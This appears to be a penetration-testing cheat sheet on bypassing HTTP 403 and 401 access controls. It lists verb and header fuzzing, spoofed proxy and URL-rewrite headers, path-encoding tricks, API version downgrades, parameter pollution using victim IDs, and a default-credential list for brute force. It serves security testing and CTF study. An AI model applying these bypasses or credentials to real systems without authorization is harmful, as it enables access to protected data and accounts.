403 & 401 Bypasses

HTTP Verbs/Methods Fuzzing

Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.

  • Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.

HTTP Headers Fuzzing

  • Change Host header to some arbitrary value (that worked here)

  • Try to use other User Agents to access the resource.

  • Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool fuzzhttpbypass.

    • X-Originating-IP:

    • X-Forwarded-For:

    • X-Forwarded:

    • Forwarded-For:

    • X-Remote-IP:

    • X-Remote-Addr:

    • X-ProxyUser-Ip:

    • X-Original-URL:

    • Client-IP:

    • True-Client-IP:

    • Cluster-Client-IP:

    • X-ProxyUser-Ip:

    If the path is protected you can try to bypass the path protection using these other headers:

    • X-Original-URL: /admin/console

    • X-Rewrite-URL: /admin/console

  • If the page is behind a proxy, maybe it's the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.

  • Fuzz special HTTP headers looking for different response.

    • Fuzz special HTTP headers while fuzzing HTTP Methods.

Path Fuzzing

If /path is blocked:

  • Try using /%2e/path (if the access is blocked by a proxy, this could bypass the protection). Try also /%252e/path (double URL encode)

  • Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like "/") so when encoded back it will be //path and maybe you will have already bypassed the /path name check

  • Other path bypasses:

    • site.com/secret –> HTTP 403 Forbidden

    • site.com/SECRET –> HTTP 200 OK

    • site.com/secret/ –> HTTP 200 OK

    • site.com/secret/. –> HTTP 200 OK

    • site.com//secret// –> HTTP 200 OK

    • site.com/./secret/.. –> HTTP 200 OK

    • site.com/;/secret –> HTTP 200 OK

    • site.com/.;/secret –> HTTP 200 OK

    • site.com//;//secret –> HTTP 200 OK

    • site.com/secret.json –> HTTP 200 OK (ruby)

    • Use all this list in the following situations:

      • /FUZZsecret

      • /FUZZ/secret

      • /secretFUZZ

  • Other API bypasses:

    • /v3/users_data/1234 --> 403 Forbidden

    • /v1/users_data/1234 --> 200 OK

    • {“id”:111} --> 401 Unauthriozied

    • {“id”:[111]} --> 200 OK

    • {“id”:111} --> 401 Unauthriozied

    • {“id”:{“id”:111}} --> 200 OK

    • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)

    • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Other Bypasses

Brute Force

  • Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?

  • Brute force: Try basic, digest and NTLM auth.

    Common creds
    admin    admin
    admin    password
    admin    1234
    admin    admin1234
    admin    123456
    root     toor
    test     test
    guest    guest

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